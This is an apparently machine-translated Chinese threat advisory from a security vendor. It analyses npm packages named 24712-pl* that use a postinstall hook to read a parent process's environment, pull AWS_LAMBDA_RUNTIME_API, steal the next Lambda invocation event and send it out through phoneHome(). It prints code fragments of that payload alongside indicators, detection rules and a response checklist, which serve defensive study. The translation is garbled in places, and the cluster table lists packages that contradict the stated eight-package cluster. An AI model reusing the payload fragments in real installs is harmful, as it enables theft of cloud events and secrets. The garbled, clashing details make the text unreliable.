TL博士
2026年5月6日至5月7日期间,单个npm发布者, pelavelle推送了八个零依赖包,这些包的名称遵循相同的内部命名模式: 24712-pl*.
包裹内含 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2和 24712-plv3编号前缀强烈暗示着 npm依赖项混淆攻击 针对内部包命名空间或包 ID 方案。
所有八个同级软件包都已由发布者从 npm 上取消发布。 2026-05-06T21:52Z 和 2026-05-07T00:31Z直接注册表元数据证实,tar 包现在返回 HTTP 404。
然而,集群仍然很重要。
典型样本, 24712-pl5006:0.0.1,包含一个 postinstall.js 脚本在运行期间 npm install它不会窃取通用的环境变量,而是专门查找以下内容: AWS_LAMBDA_RUNTIME_API,AWS Lambda 运行时使用的环境变量。
如果脚本找到 AWS_LAMBDA_RUNTIME_API它调用 Lambda 运行时 API 端点:
该调用试图在合法的 Lambda 处理程序处理之前,消耗下一个待处理的 Lambda 调用事件。
捕获到的事件(包括标头、请求 ID、帐户上下文以及最多 8 KB 的请求正文)随后通过脚本发送到攻击者控制的回传端点。 phoneHome() 功能。
Xygeni 的恶意软件早期预警 (MEW) 系统将典型样本分类为可能恶意,得分为 91.3/100.
我们正在追踪此事。 npm依赖项混淆攻击 利用 AWS Lambda 运行时劫持行为。
集群:八个软件包,一个出版商
出版商账户 pelavelle 使用的电子邮件地址:
pelavelle@clovercode.com
该账户的电子邮件地址未经验证,没有 SCM 验证通过,但信誉评分仅为 5 分。
发布者在 2026 年 05 月 06 日 20:45Z 至 22:36Z 之间的短时间内发布了八个相关软件包。这些软件包的名称格式相同:
24712-pl*
这种模式是关键信号。它看起来不像是一个公开的开发者工具,而更像是一个内部软件包命名方案。
| # | 小包装 | 恶意版本 | 创建于 UTC | 未发表,UTC | 有效载荷已确认 | 安装钩子 |
|---|---|---|---|---|---|---|
| 1 | 宇宙探索者 | 1.1.3 | 2026-05-01T18:26Z | 2026-05-01T19:01Z | 推断,同一发布者/集群 | 预安装,假定 |
| 2 | signalsdk-web | 1.0.0,10.0.0 | 2026-05-04T13:57Z | 2026-05-04T18:51Z | 推断 | 预安装,假定 |
| 3 | ms.analytics-web | 99.0.0,99.9.13 | 2026-05-04T18:47Z | 2026-05-05T10:07Z | 推断 | 预安装,假定 |
| 4 | 生成的图标 | 99.9.13 | 2026-05-05T10:02Z | 2026-05-05T12:57Z | 推断 | 预安装,假定 |
| 5 | 延迟跟踪 | 99.9.0 | 2026-05-05T11:57Z | 2026-05-05T12:57Z | 推断 | 预安装,假定 |
| 6 | 延迟跟踪-内部 | 从注册表记录中剥离版本信息 | 2026-05-06T06:02Z | 2026-05-06T08:35Z | 推断 | 预安装,假定 |
| 7 | carboniteapp | 99.9.0 | 2026-05-06T05:49Z | 2026-05-06T08:35Z | 是的,完整的扫描器代码流程 | 预安装:node index.js |
| 8 | 碳化物-内部 | 99.9.0 | 2026-05-06T06:14Z | 2026-05-06T08:36Z | 是的,完整的扫描器代码流程 | 预安装:node index.js |
集群中所有版本总数: 19 个版本包元组.
典型样本, 24712-pl5006:0.0.1发布于 2026-05-06T22:36:34Z,扫描者 Xygeni 的 MEW pipeline 在取消发布事件发生之前。
它包含四个文件,其中包括 package/postinstall.js,总源代码大小为 3,335 字节。
规范的 commit 哈希值为:
83e0efbfd110abb2398a06196fb698565a3f6cc6
为什么姓名模式很重要
软件包名称是意图的最有力指标。
它们都以相同的前缀开头:
24712-pl
然后他们添加数字或版本号之类的后缀:
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
这与正常的 npm 公共命名规则不符。它看起来像是内部命名空间前缀或内部包 ID 方案。
这使得该聚类与……一致 npm依赖项混淆攻击.
在依赖项混淆攻击中,攻击者会发布一个名称与内部依赖项名称相同或看似相同的公共软件包。如果目标系统的包管理器或构建环境解析的是公共软件包而非私有软件包,则攻击者控制的代码就会在目标环境中运行。
OWASP 将依赖关系混淆描述为一种攻击途径,它诱骗软件包管理器和代理获取恶意公共软件包,而不是获取同名的预期内部软件包。
要更深入地了解此类攻击的工作原理,请参阅 Xygeni 的指南。 版本锁定缺失和依赖关系混乱 以及我们关于……的帖子 识别和管理软件依赖攻击.
安装时会发生什么
规范包声明了一个 postinstall 钩:
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
此 postinstall 生命周期是 npm 包脚本系统的一部分。npm 的文档解释说,包可以在其中定义生命周期脚本。 package.json包括内置的安装生命周期事件。
此 || true 很重要
它会忽略错误,因此即使劫持失败,安装仍然会成功。这有助于软件包避免构建失败,并降低开发人员或持续集成系统通过安装失败发现恶意行为的可能性。
有效载荷在运行期间 npm install无需开发者导入。应用程序路径无需调用该软件包。
安装本身就足够了。
有效载荷行为:Lambda 运行时劫持
此 postinstall.js 脚本执行特定序列。
首先,它从 Linux 读取父进程环境。 /proc:
const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
然后提取 AWS Lambda 运行时端点:
const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);
如果找到运行时 API,脚本会将其存储起来:
runtimeApi = match[1];
接下来,它会发送第一个信标。 phoneHome():
await phoneHome({ step: 'waiting', runtimeApi, ts: ... });
第一个信标泄露了 Lambda 运行时 API 端点。
然后脚本解析运行时 API 的主机和端口:
const [host, portStr] = runtimeApi.split(':');
最后,它调用用于检索下一次调用的 AWS Lambda 运行时 API 路径:
http.request({
host,
port,
path: '/2018-06-01/runtime/invocation/next',
method: 'GET',
timeout: 90000
}, ...);
这就是攻击的核心。
该脚本试图在合法的 Lambda 处理程序处理之前就消耗下一个 Lambda 调用事件。AWS 的自定义运行时指南也将“获取事件”步骤描述为对下一个调用 API 的调用。
哪些东西会被提取出来
如果脚本捕获到调用,它会将结果发送到攻击者控制的回传端点。
已披露的领域包括:
| 领域 | 意 |
|---|---|
step | 执行阶段,例如 waiting, next_error 或 captured |
runtimeApi | Lambda 运行时 API 端点 |
accountSid | 捕获的 AWS 账户上下文 |
requestId | Lambda 调用请求 ID |
isOwnAccount | 与脚本配置的帐户值进行布尔比较 |
statusCode | 运行时 API 响应状态 |
headers | 调用响应头 |
body | 捕获的调用体,截取至 8,000 个字符 |
关键撤离电话是 phoneHome(data) 该函数将数据进行 JSON 编码,并通过 HTTP POST 发送。
由于现有证据已被截断,因此无法保留完整的回传目标 URL。因此,npm 应在内部保留未发布的 tar 包,以便在最终删除之前提取 C2 主机信息。
为什么这很危险
这不是通用的 npm 信标。
有效载荷的设计围绕着 AWS Lambda 的 执行模型。
如果在 Lambda 执行环境中安装了存在漏洞的软件包(例如在部署镜像构建、Lambda 层安装或初始化包装器进程期间),则该环境可能会暴露漏洞。 AWS_LAMBDA_RUNTIME_API.
脚本获取到该值后,即可调用:
/2018-06-01/runtime/invocation/next
该端点返回下一个待处理的调用事件。
因此,攻击者可能能够捕获:
- 请求机构
- 头
- 请求 ID
- AWS 账户上下文
- 已签名请求数据
- 客户个人识别信息
- S3事件数据
- 应用特定有效载荷
- 内部服务背景
合法的处理程序可能永远不会看到已消耗的事件。
这会将 npm 安装脚本转换为 Lambda 事件拦截原语。
即使该软件包最终没有部署到真正的 Lambda 环境中,其行为仍然可能从开发或 CI 系统中泄露有用的上下文信息。 /proc/<pid>/environ 可能会暴露父进程中存在的环境变量,其中可能包括 AWS 密钥、数据库 URL、CI 令牌或部署凭证。
这就是为什么依赖项扫描不能止步于已知的 CVE 漏洞。团队还需要恶意软件包检测、安装脚本分析和注册表策略执行。有关相关指南,请阅读 为什么依赖关系扫描对 DevOps 团队很重要 和 恶意软件防护:为什么防病毒软件无法阻止供应链攻击.
Xygeni MEW 分类
Xygeni MEW扫描了标准样本 24712-pl5006:0.0.1 在取消发布事件发生之前。
扫描仪返回结果:
91.3 / 100
probablyMalicious
threshold: 80
证据包括三项关键证据和一项重要证据,证实了 Lambda 运行时劫持数据流。
| 严谨求真 | 证据 | 意 |
|---|---|---|
| 危急 | /proc/<pid>/environ 读 | 读取父进程环境 |
| 危急 | AWS_LAMBDA_RUNTIME_API 提取 | 目标 Lambda 运行时端点 |
| 危急 | /runtime/invocation/next 请求 | 尝试消费真实的 Lambda 调用事件 |
| 高 | postinstall 脚本 | 在 npm install 期间运行 |
该行为具有高度针对性且影响巨大。由于 Lambda 运行时端点本身就是一个强大的攻击目标,因此该软件包无需具备广泛的恶意软件功能。
Xygeni MEW 正是为此类情况而设计的:在可疑和恶意软件包行为演变为下游事件之前对其进行检测。要更全面地了解当前的 npm 和 PyPI 威胁模式,请参阅 深入研究 2025 年软件供应链攻击.
为什么自取消发布模式很重要
出版商在短时间内撤回了所有八套丛书的出版计划。
在这种情况下,这种行为很可疑。
集群出现后,如果被存在漏洞的依赖关系解析路径选中,就会运行,然后消失。这与攻击者在概念验证成功或失败后,或者在目标组织发现问题后进行的清理工作一致。
取消发布会给防御者造成信息盲区。
公开的 npm 数据可能不再包含 tar 包。某些软件包版本无法重新下载。但是,受影响的环境可能仍然保留缓存副本、锁定文件引用、CI 日志或包管理器工件。
这就是为什么注册表端的保存工作很重要。
npm 应该在内部保留未发布的 tar 包足够长的时间,以便提取确切的回传 URL、确认同级有效载荷的身份,并支持事件响应。
入侵和检测指标
出版商和帐户
| 领域 | 价值 |
|---|---|
| npm 用户名 | pelavelle |
| npm 发布者电子邮件 | pelavelle@clovercode.com |
| 电子邮件已验证 | 没有 |
| SCM 专利 | 没有 |
| 出版商信誉评分 | 5 |
| 包命名模式 | ^24712-pl[0-9a-z]+$ |
| 内部命名空间前缀 | 24712-pl |
受影响的软件包名称
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
典型样本
| 领域 | 价值 |
|---|---|
| 小包装 | 24712-pl5006 |
| 版本 | 0.0.1 |
| 发布时间 | 2026-05-06T22:36:34Z |
| Commit 哈希 | 83e0efbfd110abb2398a06196fb698565a3f6cc6 |
| Xygeni 扫描 UUID | f80e4244-86d2-4a58-be59-7c56988a0f9f |
| 成绩 / 分数 | 91.3 / 100 |
| 总结 | probablyMalicious |
安装钩子
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
Lambda 运行时指标
外泄有效载荷场
step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body
正文被截取为 8,000 个字符。
检测记录
有好几条规则可以解决这个问题。 npm依赖项混淆攻击 以及可能的变体。
首先,标记那些从父进程环境读取环境的 npm 安装脚本。 /proc:
/proc//environ
在安装过程中,npm 依赖项很少会出现这种合法行为。
其次,对引用以下内容的软件包安装脚本发出警报:
AWS_LAMBDA_RUNTIME_API
安装过程中,第三方 npm 包不应访问此环境变量。
第三,阻止或审查调用以下函数的安装脚本:
/2018-06-01/runtime/invocation/next
这是用于接收下一次调用的 AWS Lambda 运行时 API 端点。依赖项安装脚本没有正当理由使用它。
第四,查找锁定文件中对受影响软件包名称的引用:
package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json
任何匹配项都应触发依赖关系混淆审查。
第五,注意包名正则表达式:
^24712-pl[0-9a-z]+$
尤其是当出版商是公开的、信誉度低的、未经核实的,或者不在预期的内部注册范围内时。
最后,添加 CI/CD guardrails 围绕安装脚本。这一点尤为重要,因为 npm 生命周期脚本可以在包安装期间执行,甚至在开发者导入任何内容之前。更多信息请参见…… CI/CD 检测模式,参见 Xygeni 的 十大妥协指标 CI/CD Pipelines 和 安保防护 Guardrails HPMC胶囊 CI/CD Pipelines.
建议的注册表操作
报告时该集群已取消发布,但取消发布并不能消除风险。
建议在 npm 端执行的操作:
- 确认这些取消发布操作是攻击者发起的清理行动,还是合法的维护者操作。
- 暂停或封禁发布商帐户
pelavelle. - 添加
pelavelle@clovercode.com包名称,以及用于 npm 滥用和供应链黑名单的包名称正则表达式。 - 将未发布的 tar 包保存在内部存储中,以备取证之用。
- 提取确切信息
phoneHome()从保存的软件包 tarball 获取目标 URL。 - 确认所有同级软件包是否共享相同的有效载荷。
- 如果软件包下载或安装遥测数据显示存在风险,请通知受影响的组织。
妥协应对清单
如果任何受影响的软件包出现在锁定文件、CI 日志、软件包缓存、Lambda 层、部署镜像或构建工件中,则将其视为潜在的依赖关系混乱执行事件。
建议回复:
- 确定软件包的安装位置:本地工作站、CI 运行器、Lambda 层构建、部署镜像或运行时环境。
- 保留锁定文件、npm 缓存、构建日志、部署工件和容器镜像层。
- 检查安装是否在以下环境中进行:
AWS_LAMBDA_RUNTIME_API被设定。 - 检查出站 HTTP 日志中是否存在未知信息
phoneHome()安装窗口期间的目标位置。 - 审核 Lambda 调用日志,查找丢失、缺失或异常事件。
- 轮换暴露在安装环境中的密钥,特别是 AWS 密钥、CI 令牌、部署凭证和数据库 URL。
- 检查 Lambda 层和部署镜像,查找软件包的缓存副本。
- 对内部软件包前缀强制执行私有注册表锁定。
- 阻止公共 npm 解析看似内部使用的包名。
- 添加 guardrails HPMC胶囊
preinstall,install和postinstall脚本。
Xygeni 如何帮助更早地发现这个问题
这次攻击活动正是安全团队需要超越传统漏洞扫描的那种情况。
可能没有 CVE可能不存在已知的易受攻击版本。发布者清理后,可能没有长期存在的软件包可供检查。
相反,团队需要实时了解软件包的行为。
Xygeni 的作用机制是:
- 在公共注册中心及早期检测恶意软件。
- 检测可疑依赖项,防止依赖项混淆和拼写错误抢注。
- 安装脚本分析
preinstall,install和postinstall行为。 - CI/CD guardrails 在风险软件包到达构建或部署环境之前将其拦截。
- 软件供应链跨依赖关系的可视性 pipeline以及人工制品。
- 对内部软件包名称和不受信任的公共软件包执行策略。
这一点很重要,因为……的影响 npm依赖项混淆攻击 它不仅限于开发人员的笔记本电脑,还可以访问 CI 运行器、构建镜像、Lambda 层、部署容器和运行时相关环境。
有关更广泛的应用安全和供应链背景,请参阅 BEYOND SCA:保护您的软件供应链 和 Software Supply Chain Security 省时提效.
防守者应该吸取什么教训
这次活动表明,依赖关系混乱可能会超出基本的执行证明信标的范畴。
有效载荷并非仅仅证实了这一点。 npm install 运行。它尝试与 AWS Lambda Runtime API 交互并捕获真实的调用事件。
这是一次意义重大的升级。
对于使用无服务器架构的团队而言,依赖项解析是运行时威胁模型的一部分。一个名称看似内部使用的公共 npm 包可能成为访问 Lambda 执行上下文、请求数据和云帐户元数据的途径。
核心教训很明确:内部软件包前缀必须受到保护、限定作用域并绑定到受信任的注册表。安装脚本必须被视为可执行攻击面,尤其是在…… CI/CD容器构建、Lambda 层和部署 pipelines.
CISA公司的软件供应链指南强调,需要在整个开发过程中持续保护软件、应用安全检查并应对漏洞。在这种情况下,这意味着将软件包解析、软件包脚本和无服务器构建环境视为首要的安全控制措施。
已向 npm 报告,要求采取账户级强制措施、列入黑名单并保存未发布的 tarball 文件。







